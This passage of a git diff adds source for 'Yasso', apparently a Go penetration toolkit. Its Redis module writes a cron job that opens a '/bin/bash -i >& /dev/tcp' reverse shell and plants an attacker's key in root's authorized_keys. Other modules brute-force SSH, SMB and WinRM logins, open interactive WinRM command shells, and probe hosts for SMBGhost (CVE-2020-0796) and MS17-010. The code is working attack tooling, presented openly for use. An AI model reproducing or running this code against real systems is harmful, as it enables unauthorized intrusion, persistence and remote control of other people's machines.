// 上述返回3个值返回c,s,e,c是corn的值s是ssh写入e是err
if err != nil {
Println(fmt.Sprintf("Redis Write Testing failed %v",err))
return
}
var (
status bool
)
if RemoteHost != "" && cron == true {
status,err = RedisCron(conn,RemoteHost)
if status == true {
Println("[+] Write Rebound shell address Success")
return
}else{
Println("[x] Redis Write Rebound shell address failed")
return
}
}
if Filename != "" && ssh == true {
status, err = RedisKey(conn,Filename)
if status == true {
Println("[+] Write ssh key Success")
return
}else{
Println("[x] Redis ssh key failed")
return
}
}
}
func RedisCron(conn net.Conn,RemoteHost string) (bool ,error){
c,s, e := RedisWrite(conn)
Println(fmt.Sprintf("%v %v %v",c,s,e))
// 先解析RemoteHost参数
var (
remote = strings.Split(RemoteHost, ":")
flag = false
reply string
host string
port string
)
if len(remote) == 2 {
host , port = remote[0],remote[1]
}else{
return false,errors.New("remote host address is not like 192.160.1.1:4444")
}
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return false,err
}
reply, err = RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"+OK") { // redis可写定时计划任务
// 存在定时计划写入
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil{
return false,err
}
reply, err = RedisReply(conn)
if err != nil {
return false,err
}
// 数据库设置成功
if strings.Contains(reply,"+OK") {
// 写入定时计划任务
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",host,port)))
if err != nil {
return false,err
}
reply , err = RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"+OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false,err
}
reply , err = RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"OK") {
flag = true
}
}
}
}
return flag,nil
}
// 公钥写入
func RedisKey(conn net.Conn,filename string)(bool,error){
var flag = false
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return false,err
}
reply, err := RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply,"OK"){
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return false,err
}
reply, err := RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"OK"){
key, err := ReadKeyFile(filename)
if err != nil {
return false,err
}
if len(key) == 0 {
return false,errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return false,err
}
reply, err = RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"OK"){
// 保存
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false,err
}
reply, err = RedisReply(conn)
if err != nil {
return false,err
}
if strings.Contains(reply,"OK"){
flag = true
}
}
}
}
return flag,nil
}
func ReadKeyFile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}

158
cmd/resolve.go Normal file
View File

@@ -0,0 +1,158 @@
package cmd
import (
"errors"
"net"
"regexp"
"strconv"
"strings"
)
func ResolveIPS(ip string)([]string,error){
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
case strings.Contains(ip,"/"):
return resolveIP(ip)
case strings.Count(ip,"-") == 1:
return resolveIPC(ip)
case reg.MatchString(ip):
_, err := net.LookupHost(ip)
if err != nil {
return []string{},err
}
return []string{ip},nil
default:
var isip = net.ParseIP(ip)
if isip == nil {
return []string{},errors.New("input format is not ccorrect")
}
return []string{ip},nil
}
}
// 解析192.168.1.1/*的格式
func resolveIP(ip string)([]string, error){
var ip4 = net.ParseIP(strings.Split(ip,"/")[0]) // [192.168.1.1 *]
if ip4 == nil {
return []string{},errors.New("not an ipv4 address")
}
var footmark = strings.Split(ip,"/")[1] // *
var temp []string
var err error
switch footmark {
case "24":
var ip3 = strings.Join(strings.Split(ip[:len(ip)],".")[0:3],".")
for i:=0;i<=255;i++{
temp = append(temp,ip3+"."+strconv.Itoa(i))
}
err = nil
case "16":
var ip2 = strings.Join(strings.Split(ip[:len(ip)],".")[0:2],".")
for i:=0;i<=255;i++{
for j:=0;j<=255;j++{
temp = append(temp,ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j))
}
}
err = nil
default:
temp = []string{}
err = errors.New("not currently supported")
}
return temp,err
}
// 解析192.168.1.1-*格式
func resolveIPC(ip string)([]string, error){
var ip4 = strings.Split(ip,"-")
var ipA = net.ParseIP(ip4[0])
if ip4 == nil {
return []string{},errors.New("not an ipv4 address")
}
var temp []string
if len(ip4[1]) < 4 {
iprange, err := strconv.Atoi(ip4[1])
if ipA == nil || iprange > 255 || err != nil {
return []string{},errors.New("input format is not ccorrect")
}
var splitip = strings.Split(ip4[0],".")
ip1, err1 := strconv.Atoi(splitip[3])
ip2, err2 := strconv.Atoi(ip4[1])
prefixip := strings.Join(splitip[0:3],".")
if ip1 > ip2 || err1 != nil || err2 != nil {
return []string{},errors.New("input format is not ccorrect")
}
for i:=ip1;i<=ip2;i++{
temp = append(temp,prefixip + "." + strconv.Itoa(i))
}
}else{
var splitip1 = strings.Split(ip4[0],".")
var splitip2 = strings.Split(ip4[1],".")
if len(splitip1) != 4 || len(splitip2) != 4 {
return []string{},errors.New("input format is not ccorrect")
}
start, end := [4]int{},[4]int{}
for i:= 0;i < 4 ;i++{
ip1, err1 := strconv.Atoi(splitip1[i])
ip2, err2 := strconv.Atoi(splitip2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
return []string{},errors.New("input format is not ccorrect")
}
start[i],end[i] = ip1,ip2
}
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
temp = append(temp, ip)
}
}
return temp,nil
}
func RemoveDuplicate(old []int) []int {
result := make([]int, 0, len(old))
temp := map[int]struct{}{}
for _, item := range old {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// 解析为445,69,72-15这种以逗号隔开的端口
func ResolvePORTS(ports string)([]int,error){
var scanPorts []int
slices := strings.Split(ports, ",")
for _, port := range slices {
port = strings.Trim(port, " ")
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
continue
}
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
scanPorts = append(scanPorts, i)
}
}
scanPorts = RemoveDuplicate(scanPorts)
return scanPorts,nil
}

44
cmd/root.go Normal file
View File

@@ -0,0 +1,44 @@
package cmd
import (
"fmt"
"github.com/spf13/cobra"
"os"
"time"
)
var (
TimeDuration time.Duration // 超时时间
Hosts string // 全局host变量
RunICMP bool // 是否执行ICMP
Ports string // 需要解析的端口
Runtime int // 运行的线程
LogBool bool // 是否使用日志
PingBool bool // 是否执行ping操作
UserDic string // 爆破的用户名路径
PassDic string // 爆破的密码路径
BruteFlag bool // 是否进行爆破
ConnHost string // 单独变量的链接地址
BrutePort int // 爆破使用的端口
LoginUser string // 登陆使用的用户
LoginPass string // 登陆使用的密码
LoginPublicKey string // 登陆使用的公钥路径
ProxyHost string // 代理地址 user:pass@ip:port 格式
SQLShellBool bool // 是否启动sql—shell
SQLCommand string // sql语句单条命令行
WinRMbool bool // winrm shell
)
var rootCmd = &cobra.Command{
Use: "Yasso",
Short: "\n __ __ ______ ______ ______ ______ \n/\\ \\_\\ \\ /\\ __ \\ /\\ ___\\ /\\ ___\\ /\\ __ \\ \n\\ \\____ \\ \\ \\ __ \\ \\ \\___ \\ \\ \\___ \\ \\ \\ \\/\\ \\ \n \\/\\_____\\ \\ \\_\\ \\_\\ \\/\\_____\\ \\/\\_____\\ \\ \\_____\\ \n \\/_____/ \\/_/\\/_/ \\/_____/ \\/_____/ \\/_____/ \n \n",
}
func Execute(){
if err := rootCmd.Execute();err != nil {
Println(fmt.Sprintf("%v",err))
os.Exit(1)
}
}

92
cmd/smb.go Normal file
View File

@@ -0,0 +1,92 @@
package cmd
import (
"Yasso/config"
"errors"
"fmt"
"github.com/spf13/cobra"
"github.com/stacktitan/smb/smb"
"time"
)
/*
模块完成时间2021年12月28日主要用于smb爆破扫描445端口,似乎不能走socks5代理
*/
var SmbCmd = &cobra.Command{
Use: "smb",
Short: "Smb burst module (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == ""{
_ = cmd.Help()
}else{
BruteSmbByUser()
}
},
}
func BruteSmbByUser(){
if BrutePort == 0 {
BrutePort = 445
}
var ips []string
var err error
if Hosts != ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("smb",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [smb]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("smb",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
}
func SmbConn(info config.HostIn,user,pass string)(bool,error){
signal := make(chan struct{})
var (
flag bool
err error
)
go func() {
flag, err = DialSmbTimeOut(info,user,pass,signal)
}()
select {
case <- signal:
return flag,err
case <-time.After(1 * time.Second):
return false,errors.New("smb conn time out")
}
}
func DialSmbTimeOut(info config.HostIn,user,pass string,signal chan struct{}) (bool, error){
var flag = false
options := smb.Options{
Host: info.Host,
Port: 445,
User: user,
Password: pass,
Domain: info.Domain,
Workstation: "",
}
session, err := smb.NewSession(options,false)
if err == nil {
session.Close()
if session.IsAuthenticated {
flag = true
}
}
signal <- struct{}{}
return flag,err
}

120
cmd/smbghost.go Normal file
View File

@@ -0,0 +1,120 @@
package cmd
import (
"Yasso/config"
"bytes"
"fmt"
"time"
)
const (
pkt =
"\x00" + // session
"\x00\x00\xc0"+ // legth
"\xfeSMB@\x00"+ // protocol
//[MS-SMB2]: SMB2 NEGOTIATE Request
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x1f\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
"$\x00" +
"\x08\x00" +
"\x01\x00" +
"\x00\x00" +
"\x7f\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"x\x00" +
"\x00\x00" +
"\x02\x00" +
"\x00\x00" +
"\x02\x02" +
"\x10\x02" +
"\x22\x02" +
"$\x02" +
"\x00\x03" +
"\x02\x03" +
"\x10\x03" +
"\x11\x03" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
"\x01\x00" +
"&\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
"\x03\x00" +
"\x0e\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" + //CompressionAlgorithmCount
"\x00\x00" +
"\x01\x00\x00\x00" +
"\x01\x00" + //LZNT1
"\x00\x00" +
"\x00\x00\x00\x00"
)
func SmbGhostConn(info config.HostIn) bool {
conn, err := GetConn(fmt.Sprintf("%s:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
return false
}else{
defer conn.Close()
conn.Write([]byte(pkt))
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
n, err := conn.Read(buff)
if err != nil {
//Println(err.Error()) // Profound analysis
}
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
Println(fmt.Sprintf("[+] %s Find CVE-2020-0796",info.Host))
return true
} else {
//Println(ip + " Not Vulnerable")
return false
}
}
}

198
cmd/ssh.go Normal file
View File

@@ -0,0 +1,198 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
"io/ioutil"
"os"
"path"
)
/*
模块完成时间2021年12月28日主要用于ssh爆破连接扫描22端口
*/
var SshCmd = &cobra.Command{
Use: "ssh",
Short: "SSH burst and SSH extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
}else{
BruteSshByUser()
}
},
}
func init(){
SshCmd.Flags().StringVar(&ConnHost,"hostname","","Open an interactive SSH at that address(brute param need false)")
SshCmd.Flags().StringVar(&LoginUser,"user","","Login ssh username")
SshCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password")
SshCmd.Flags().StringVar(&LoginPublicKey,"key","","ssh public key path")
}
func BruteSshByUser() {
if BrutePort == 0 {
BrutePort = 22
}
var ips []string
var err error
if Hosts != "" && ConnHost == ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("ssh",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [ssh]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("ssh",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true {
if LoginUser != "" && LoginPass != "" {
client,status,err := SshConnByUser(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass)
if err != nil {
Println(fmt.Sprintf(Clearln + "[-] Login ssh failed %v",err))
return
}
if status == true {
//认证成功
SshLogin(client)
}else {
Println(Clearln + "[-] The username or password is incorrect")
return
}
}
if LoginPublicKey != "" && LoginUser != "" {
client,status, err := sshConnByKey(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration,PublicKey: LoginPublicKey},LoginUser)
if err != nil {
Println(fmt.Sprintf(Clearln + "[-] Login ssh failed %v",err))
return
}
if status == true {
//认证成功
SshLogin(client)
return
}else {
Println(Clearln + "[-] The username or password is incorrect")
return
}
}
}
if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == ""){
Println(Clearln + "[*] May be you want login ssh? try to add user and (user' key) or (user' pass)")
return
}
}
func SshConnByUser(info config.HostIn,user,pass string)(*ssh.Client,bool,error){
// 走socks5代理的ssh连接
sshConfig := &ssh.ClientConfig{User: user,Auth: []ssh.AuthMethod{ssh.Password(pass)},HostKeyCallback: ssh.InsecureIgnoreHostKey(),Timeout:info.TimeOut}
con, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
return nil,false,err
}
c,ch,re,err := ssh.NewClientConn(con,fmt.Sprintf("%v:%v",info.Host,info.Port),sshConfig)
if err != nil {
return nil,false,err
}
return ssh.NewClient(c,ch,re),true,err
}
func sshConnByKey(info config.HostIn,user string)(*ssh.Client,bool,error){
var (
err error
HomePath string
key []byte
)
switch {
case info.PublicKey == "":
HomePath, err = os.UserHomeDir()
if err != nil {
return nil,false,err
}
key, err = ioutil.ReadFile(path.Join(HomePath,".ssh","id_rsa"))
if err != nil {
return nil,false,err
}
case info.PublicKey != "":
key, err = ioutil.ReadFile(info.PublicKey)
if err != nil {
return nil,false,err
}
}
signer, err := ssh.ParsePrivateKey(key)
if err != nil {
return nil,false,err
}
sshConfig := &ssh.ClientConfig{
User: user,
Auth:[]ssh.AuthMethod{
ssh.PublicKeys(signer),
},
Timeout: info.TimeOut,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
con, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
return nil,false,err
}
c,ch,re,err := ssh.NewClientConn(con,fmt.Sprintf("%v:%v",info.Host,info.Port),sshConfig)
if err != nil {
return nil,false,err
}
return ssh.NewClient(c,ch,re),true,err
}
// ssh 完全交互式登陆
func SshLogin(client *ssh.Client) {
defer client.Close()
session, err := client.NewSession()
if err != nil {
Println(fmt.Sprintf("new ssh session failed %v",err))
return
}
defer session.Close()
session.Stdout = os.Stdout
session.Stderr = os.Stderr
session.Stdin = os.Stdin
modes := ssh.TerminalModes{
ssh.ECHO: 1,
ssh.TTY_OP_ISPEED: 14400,
ssh.TTY_OP_OSPEED: 14400,
ssh.VSTATUS: 1,
}
fd := int(os.Stdin.Fd())
oldState, err := terminal.MakeRaw(fd)
if err != nil {
Println(fmt.Sprintf("terminal failed %v",err))
}
defer terminal.Restore(fd,oldState)
w,h ,err := terminal.GetSize(fd)
if err = session.RequestPty("xterm-256color",h,w,modes);err != nil {
Println(fmt.Sprintf("Session Request new xterm failed %v",err))
return
}
if err = session.Shell(); err != nil {
Println(fmt.Sprintf("Session start shell failed %v",err))
return
}
if err = session.Wait();err != nil {
Println(fmt.Sprintf("Session wait failed %v",err))
return
}
}

File diff suppressed because one or more lines are too long

BIN
cmd/static/WarSQLKit.dll Normal file

Binary file not shown.

148
cmd/tools.go Normal file
View File

@@ -0,0 +1,148 @@
package cmd
import (
"bufio"
"bytes"
"database/sql"
"fmt"
"github.com/olekukonko/tablewriter"
"golang.org/x/net/proxy"
"log"
"net"
"os"
"strings"
"time"
)
// socks5代理连接功能
func ConnBySOCKS5()(proxy.Dialer,error){
// 解析连接过来的socks5字符串
if strings.ContainsAny(ProxyHost,"@") && strings.Count(ProxyHost,"@") == 1 {
info := strings.Split(ProxyHost,"@")
userpass := strings.Split(info[0],":")
auth := proxy.Auth{User:userpass[0],Password:userpass[1]}
dialer, err := proxy.SOCKS5("tcp",info[1],&auth,proxy.Direct)
return dialer,err
} else {
if strings.ContainsAny(ProxyHost,":") && strings.Count(ProxyHost,":")==1{
dialer,err:= proxy.SOCKS5("tcp",ProxyHost,nil,proxy.Direct)
return dialer,err
}
}
return nil,fmt.Errorf("proxy error")
}
// 返回一个连接
func GetConn(addr string,timeout time.Duration)(net.Conn,error) {
if ProxyHost != "" {
dialer,err := ConnBySOCKS5()
if err != nil {
return nil,err
}
conn, err := dialer.Dial("tcp",addr)
if err != nil {
return nil,err
}
return conn,nil
}else{
return net.DialTimeout("tcp",addr,time.Duration(timeout))
}
}
func SQLExecute(db *sql.DB,q string)(*Results,error){
if q == "" {
return nil, nil
}
rows, err := db.Query(q)
//rows, err := db.Query(q)
if err != nil {
return nil, err
}
columns, err := rows.Columns()
if err != nil {
return nil, err
}
var results [][]string
for rows.Next() {
rs := make([]sql.NullString, len(columns))
rsp := make([]interface{}, len(columns))
for i := range rs {
rsp[i] = &rs[i]
}
if err = rows.Scan(rsp...); err != nil {
break
}
_rs := make([]string, len(columns))
for i := range rs {
_rs[i] = rs[i].String
}
results = append(results, _rs)
}
if closeErr := rows.Close(); closeErr != nil {
return nil, closeErr
}
if err != nil {
return nil, err
}
if err := rows.Err(); err != nil {
return nil, err
}
return &Results{
Columns: columns,
Rows: results,
}, nil
}
type Results struct {
Columns []string
Rows [][]string
}
func (r *Results) String() string {
buf := bytes.NewBufferString("")
table := tablewriter.NewWriter(buf)
table.SetHeader(r.Columns)
table.AppendBulk(r.Rows)
table.Render()
return buf.String()
}
func SQLshell(db *sql.DB,sqltype string){
reader := bufio.NewReader(os.Stdin)
Println(fmt.Sprintf("Welcome to Yasso sql client "))
for {
fmt.Printf("Yasso-%s> ",sqltype)
sqlstr, err := reader.ReadString('\n')
if err != nil {
log.Panic("failed to ReadString ", err)
}
sqlstr = strings.Trim(sqlstr, "\r\n")
sqls := []byte(sqlstr)
if len(sqls) > 6 {
if string(sqls[:6]) == "select" || string(sqls[:4]) == "show" || string(sqls[:4]) == "desc" {
//result set sql
r,err := SQLExecute(db,sqlstr)
if err != nil {
Println(fmt.Sprintf("%v",err))
}
Println(fmt.Sprintf("%v",r))
} else {
//no result set sql
r,err := SQLExecute(db,sqlstr)
if err != nil {
Println(fmt.Sprintf("%v",err))
}
Println(fmt.Sprintf("%v",r))
}
}
if sqlstr == "exit" {
Println("exit sql shell")
break
}
}
}

17
cmd/version.go Normal file
View File

@@ -0,0 +1,17 @@
package cmd
import (
"github.com/spf13/cobra"
)
var versionCmd = &cobra.Command{
Use: "version",
Short: "Print Yasso's version in screen",
Run: func(cmd *cobra.Command, args []string) {
Println(Clearln + "Yasso Version is 0.1.1")
},
}
func init(){
rootCmd.AddCommand(versionCmd)
}

78
cmd/vuln.go Normal file
View File

@@ -0,0 +1,78 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"sync"
)
// smbghost eternalblue
var (
ms17010bool bool
smbGohstbool bool
allbool bool
)
var VulCmd = &cobra.Command{
Use: "vulscan",
Short: "Host Vulnerability Scanning (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
}else{
Println("Yasso scanner need a hosts")
return
}
if smbGohstbool == true || ms17010bool == true || allbool == true {
Println(fmt.Sprintf("[Yasso] will scan %d host",len(ips)))
}
VulScan(ips,ms17010bool,allbool,smbGohstbool)
},
}
func init(){
VulCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)")
VulCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy")
VulCmd.Flags().BoolVar(&smbGohstbool,"gs",false,"scan smbghost")
VulCmd.Flags().BoolVar(&ms17010bool,"ms",false,"scan ms17010")
VulCmd.Flags().BoolVar(&allbool,"all",false,"scan all vuln contains ms17010,smbghost")
rootCmd.AddCommand(VulCmd)
}
func VulScan(ips []string,ms17010bool bool,allbool bool,smbGohstbool bool){
var wg sync.WaitGroup
go func() {
for _,ip := range ips{
tunnel <- ip
}
}()
for i:=0;i<len(ips);i++{
wg.Add(1)
_ = ants.Submit(func() {
ip := <- tunnel
if ms17010bool == true || allbool == true {
Ms17010Conn(config.HostIn{
Host: ip,
Port: 445,
TimeOut: TimeDuration,
})
}
if smbGohstbool == true || allbool == true{
SmbGhostConn(config.HostIn{
Host: ip,
Port: 445,
TimeOut: TimeDuration,
})
}
wg.Done()
})
}
wg.Wait()
}

116
cmd/winrm.go Normal file
View File

@@ -0,0 +1,116 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/masterzen/winrm"
"github.com/spf13/cobra"
"io"
"net"
"os"
)
var WinRMCmd = &cobra.Command{
Use: "winrm",
Short: "winrm burst and extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
}else{
WinBurpByUser()
}
},
}
func init(){
WinRMCmd.Flags().StringVar(&ConnHost,"hostname","","Open an interactive SSH at that address(brute param need false)")
WinRMCmd.Flags().StringVar(&LoginUser,"user","","Login ssh username")
WinRMCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password")
WinRMCmd.Flags().BoolVar(&WinRMbool,"shell",false,"Get a cmd shell with WinRM")
WinRMCmd.Flags().StringVarP(&SQLCommand,"cmd","c","","Execute system command")
}
func WinBurpByUser(){
if BrutePort == 0 {
BrutePort = 5985
}
var ips []string
var err error
if Hosts != "" {
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("rdp",UserDic,PassDic) // winrm 和 rdp认证相同
Println(Clearln+"[*] Brute Module [winrm]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("winrm",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != ""{
auth, b, err := WinRMAuth(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println(fmt.Sprintf("[!] WinRM Auth Failed %v",err))
return
}
if SQLCommand != "" && b == true{
WinRMShell(auth,SQLCommand,false)
}
if WinRMbool == true && b== true {
WinRMShell(auth,"",true)
}
}
}
func WinRMAuth(info config.HostIn,user,pass string)(*winrm.Client,bool,error){
var err error
params := winrm.DefaultParameters
// 设置代理认证
params.Dial = func(network, addr string) (net.Conn, error) {
return GetConn(fmt.Sprintf("%s:%v",info.Host,info.Port),info.TimeOut)
}
// 设置输入
endpoint := winrm.NewEndpoint("other-host",5985, false, false, nil, nil, nil, 0)
client, err := winrm.NewClientWithParameters(endpoint, user, pass, params)
stdout := os.Stdout
res,err := client.Run("echo ISOK > nul", stdout, os.Stderr)
if err != nil {
return nil,false,err
}
if res == 0 && err == nil {
return client,true,nil
}
return nil,false,err
}
func WinRMShell(client *winrm.Client,Command string,shell bool){
if shell == true {
shell, err := client.CreateShell()
if err != nil {
Println(fmt.Sprintf("[!] create shell failed %v",err))
return
}
var cmd *winrm.Command
cmd, err = shell.Execute("cmd.exe")
if err != nil {
Println(fmt.Sprintf("[!] create shell failed %v",err))
return
}
go io.Copy(cmd.Stdin, os.Stdin)
go io.Copy(os.Stdout, cmd.Stdout)
go io.Copy(os.Stderr, cmd.Stderr)
cmd.Wait()
shell.Close()
}else{
_, err := client.Run(Command, os.Stdout, os.Stderr)
if err != nil {
Println(fmt.Sprintf("[!] Execute Command failed %v",err))
return
}
}
}

557
cmd/winscan.go Normal file
View File

@@ -0,0 +1,557 @@
package cmd
import (
"bytes"
"fmt"
"github.com/spf13/cobra"
"net"
"strconv"
"strings"
"sync"
"time"
)
var netbiosflag bool
var smbflag bool
var oxidflag bool
var allflag bool
var WinCmd = &cobra.Command{
Use: "winscan",
Short: "netbios、smb、oxid scan",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
}else{
Println("Yasso scanner need a hosts")
return
}
Println(fmt.Sprintf("[Yasso] will scan %d host",len(ips)))
winscan(ips,allflag)
},
}
func init(){
rootCmd.AddCommand(WinCmd)
WinCmd.Flags().BoolVar(&smbflag,"smb",false,"Set smb flag and use smb scan")
WinCmd.Flags().BoolVar(&netbiosflag,"netbios",false,"Set netbios flag and use netbios scan")
WinCmd.Flags().BoolVar(&oxidflag,"oxid",false,"Set oxid flag and use oxid scan")
WinCmd.Flags().BoolVar(&allflag,"all",true,"Set all flag and use oxid,netbios,smb scan")
WinCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)")
WinCmd.Flags().DurationVar(&TimeDuration,"time",1 * time.Second,"Set net conn timeout")
WinCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy and use it")
}
func winscan(host []string, allay bool){
if netbiosflag == true {
NbtScan(host)
}else if smbflag == true {
SmbScan(host)
}else if oxidflag == true {
OxidScan(host)
}else if allay == true{
runall(host)
} else{
Println("[*] Your need set netbios、smb、oxid flag")
}
}
var oxidQuery1 = [...]byte{
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x10, 0xb8, 0x10,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10,
0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a, 0x00, 0x00,
